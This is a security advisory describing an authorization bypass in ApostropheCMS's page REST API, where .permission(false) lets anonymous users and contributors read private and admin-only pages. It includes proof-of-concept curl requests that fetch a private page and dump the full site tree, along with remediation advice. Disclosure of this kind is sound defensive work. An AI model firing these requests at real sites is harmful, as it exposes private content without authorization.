Vulnerability GHSA-2j32-q6rx-h844

Medium Risk
MEDIUM RISK
CVSS Score: 5.3
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
2 hours ago
October 20, 2026 at 06:13 PM UTC
ApostropheCMS: Page REST API authorization bypass
0.3.3 - 4.33.0-beta.1
0.3.3 - 4.33.0-beta.1

Summary

ApostropheCMS: Page REST API authorization bypass

Details

Summary The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug.

Details packages/apostrophe/modules/@apostrophecms/page/index.js:

  • getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — no viewRole threshold, no visibility filtering.
  • all handler (L318–395): getRestQuery(req).permission(false) (L384–385) walks every page type and returns the projection including visibility.
  • publicApiCheckAsync (L3044) only checks that publicApiProjection exists — it performs no authorization.
  • Correct control behaves differently: piece-type/index.js:getOne (L319–327) uses getRestQuery(req) without .permission(false) and enforces viewRole.

PoC

# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
#         "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1"        # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz"   # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"   # → 403

Impact Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because _ids are enumerable and leaked by all=1, this is systemic.

Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.

Impacted packages

Timeline

Published
2 hours ago
October 20, 2026 at 06:13 PM UTC
Fixed (4.33.0)
Unknown
Unknown
Last Modified
1 hour ago
October 20, 2026 at 06:41 PM UTC